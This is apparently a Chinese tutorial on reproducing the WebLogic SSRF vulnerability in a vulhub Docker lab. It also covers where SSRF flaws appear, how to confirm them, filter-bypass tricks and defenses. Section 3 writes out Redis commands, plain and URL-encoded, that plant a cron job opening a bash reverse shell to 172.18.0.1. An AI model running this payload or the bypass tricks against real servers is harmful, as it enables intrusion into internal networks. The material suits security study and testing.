Weblogic-SSRF漏洞复现

一、SSRF概念

服务端请求伪造(Server-Side Request Forgery),是一种有攻击者构造形成有服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片、文档等等。

二、SSRF用途

1.内外网的端口和服务扫描

2.主机本地敏感数据的读取

3.内外网主机应用程序漏洞的利用

4.内外网web站点漏洞的利用

三、漏洞影响版本

weblogic 10.0.2 -- 10.3.6

四、漏洞复现环境搭建

利用vulhub进行漏洞复现,docker搭建vulhub环境参考: https://blog.csdn.net/qq_36374896/article/details/84102101

Docker-compose build

Docker-compose up -d

五、漏洞复现

1.访问http://127.0.0.1:7001/uddiexplorer/,即可查看uddiexplorer应用

  

2.SSRF漏洞存在于http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp,提交参数值为url:port,根据返回错误不同,可对内网状态进行探测如端口开放状态等

2.1随便输入内容,抓包

  

2.2发现如下图operator参数,参数的值是url,怀疑可能存在SSRF漏洞

  

2.3测试是否存在SSRF漏洞,在url后跟端口,把url修改为自己搭建的服务器地址,访问开放的80端口,发现返回如下信息

  

2.4访问一个不存在的端口,将返回but could not connect over HTTP to server

  

2.5通过上面的测试,可以发现目标存在SSRF漏洞

3.注入HTTP头,利用Redis反弹shell

Weblogic的SSRF有一个比较大的特点,其虽然是一个”GET/POST”请求,但是我们可以通过传入%0a%0d来注入换行符,某些服务(如redis)是通过换行符来分隔每条命令,本环境可以通过该SSRF攻击内网中的redis服务器。

首先,通过ssrf探测内网中的redis服务器,应为这个漏洞是用docker环境搭建的。

3.1发送3条redis的命令,将反弹shell脚本写入/etc/crontab

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/8888 0>&1\n\n\n\n"

config set dir /etc/

config set dbfilename crontab

save

3.2对命令进行URL编码,注意不能对所有命令编码,需要对部分特殊符号进行URL编码

http://172.18.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

  

3.3监听,成功获得shell

  

六、SSRF漏洞的寻找

1.分享,通过URL地址分享网页内容

2.转码服务

3.在线翻译

4.图片加载与下载:通过URL地址加载或者下载图片

5.图片、文章收藏功能

6.未公开的api实现以及其他调用URL的功能

7.从URL关键字中寻找:share、wap、url、link、src、source、target、u、3g、display、sourceURI、imageURL、domain……

七、SSRF漏洞的验证方法

1.因为SSRF漏洞是构造服务器发送请求的安全漏洞,所以我们可以通过抓包分析发送的请求是否是由服务器端发送的来判断是否存在SSRF漏洞

2.在页面源码中查找访问的资源地址,如果该资源地址类型为http://www.xxx.com/a.php?image=(地址)的可能存在SSRF漏洞

八、SSRF绕过技巧

1.添加端口号   http://127.0.0.1:8080

2.短网址绕过   http://dwz.cn/11SMa

3.IP限制绕过  十进制转换、八进制转换、十六进制转换、不同进制组合转换

4.协议限制绕过  当url协议限制只为http(s)时,可以利用follow redirect特性,构造302跳转服务,结合dict://,file://,gopher://

5.可以指向任意ip的域名:xip.io

6.@    http://abc@127.0.0.1

九、SSRF防御

1.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

2.统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态。

3.限制请求的端口为http常用的端口,比如80,443,8080,8090

4.黑名单内网ip。避免应用被用来获取内网数据,攻击内网

5.禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题

  

---------------------------------------------------------------------------------------------------

参考连接:https://www.jianshu.com/p/6bf7700139fa

    https://www.jianshu.com/p/d1d1c40f6d4c

Weblogic-SSRF漏洞复现的更多相关文章

  1. SSRF——weblogic vulhub 漏洞复现及攻击内网redis(一)(附批量检测脚本)

    0X01 概述 SSRF(Server-Side Request Forgery, 服务端请求伪造)利用漏洞可以发起网络请求来攻击内网服务.利用SSRF能实现以下效果:1)        扫描内网(主 ...

  2. weblogic系列漏洞整理 -- 5. weblogic SSRF 漏洞 UDDI Explorer对外开放 (CVE-2014-4210)

    目录 五. weblogic SSRF 漏洞 UDDI Explorer对外开放 (CVE-2014-4210) 1. 利用过程 2. 修复建议 一.weblogic安装 http://www.cnb ...

  3. Weblogic CVE-2020-2551漏洞复现&CS实战利用

    Weblogic CVE-2020-2551漏洞复现 Weblogic IIOP 反序列化 漏洞原理 https://www.anquanke.com/post/id/199227#h3-7 http ...

  4. weblogic ssrf 漏洞笔记

    CVE-2014-4210 Oracle WebLogic web server即可以被外部主机访问,同时也允许访问内部主机.比如有一个jsp页面SearchPublicReqistries.jsp, ...

  5. Weblogic CVE-2020-2551漏洞复现

    Weblogic CVE-2020-2551漏洞复现 0x00 前言 在一次渗透测试过程中,碰见了该漏洞,并使用在野的POC验证了这个漏洞存在,当时工具网传的利用方式去进行利用,没有成功,可能是自己太 ...

  6. 【vulhub】Weblogic CVE-2017-10271漏洞复现&&流量分析

    Weblogic CVE-2017-10271 漏洞复现&&流量分析 Weblogic CVE-2017-10271 XMLDecoder反序列化 1.Weblogic-XMLDeco ...

  7. WebLogic SSRF 漏洞 (简要翻译)

    [Ref]http://blog.gdssecurity.com/labs/2015/3/30/weblogic-ssrf-and-xss-cve-2014-4241-cve-2014-4210-cv ...

  8. Weblogic CVE-2018-2894 漏洞复现

    0x01 前言 Oracle官方发布了7月份的关键补丁更新CPU(Critical Patch Update),其中针对可造成远程代码执行的高危漏洞 CVE-2018-2894 进行修复:http:/ ...

  9. Jira未授权SSRF漏洞复现(CVE-2019-8451)

    0x00 漏洞背景 Jira的/plugins/servlet/gadgets/makeRequest资源存在SSRF漏洞,原因在于JiraWhitelist这个类的逻辑缺陷,成功利用此漏洞的远程攻击 ...

  10. Weblogic SSRF漏洞(CVE-2014-4210)

    Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis.fastcgi等脆弱组件. 关于SSRF漏洞我们就不讲了,传送门--> SSRF(服务端请求 ...

随机推荐

  1. C# rename files

    static void RenameFiles() { string sourceDir = @"D:\ll"; string[] allFiles = Directory.Get ...

  2. Razor 页面解说

    自己开始从头深造- 本是想将时间缩短,但发现自己还是很难呀.希望你理解吧,这里的知识 是 页面的基本信息.也页面的跳转关系和 Tag的帮助标签. Section   PartView.  @page ...

  3. go-面向对象编程(上)

    一个程序就是一个世界,有很多对象(变量) Golang 语言面向对象编程说明 1) Golang 也支持面向对象编程(OOP),但是和传统的面向对象编程有区别,并不是纯粹的面向对 象语言.所以我们说 ...

  4. Python 爬取猫眼电影《无名之辈》并对其进行数据分析

    前言 文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理. 作者: 罗昭成 PS:如有需要Python学习资料的小伙伴可以加点击下方链接 ...

  5. 软件设计之基于Java的连连看小游戏(二)——游戏基础界面的制作及事件的添加

    上次完成到游戏首页的制作,今天完成了游戏基础界面的制作以及事件的简单添加.由于功能尚未完全实现,因此游戏界面的菜单列表只是简单地添加了一下,其余菜单列表以及倒计时等在后续的制作中逐一完善. 1.首先在 ...

  6. Javase之集合体系(3)之Set及其子类知识

    集合体系之Set及其子类知识 Set(接口) public interface Set<E>extends Collection<E> ​ 特点:无序(存储顺序与取出顺序不一致 ...

  7. IOS疯狂基础之模态显示PresentModalViewController(转)

    转自:http://blog.csdn.net/wudizhukk/article/details/8553554 -(void)buttonDown:(id)sender{ ViewTwo *two ...

  8. Java --Lamda表达式

    Lamda:属于函数式编程的概念: interface IMessage { public void print() ; } public class TestDemo { public static ...

  9. MD5哈希算法及其原理

    - MD5功能 MD5算法对任意长度的消息输入,产生一个128位(16字节)的哈希结构输出.在处理过程中,以512位输入数据块为单位. - MD5用途及特征 MD5通常应用在以下场景: 1.防篡改,保 ...

  10. BayaiM__经典SQL语句大全

    BayaiM__经典SQL语句大全 原创 作者:bayaim 时间:2016-06-16 09:22:24 32 0删除编辑 以下这篇文章,是一个垃圾,垃圾中的垃圾 ----------------- ...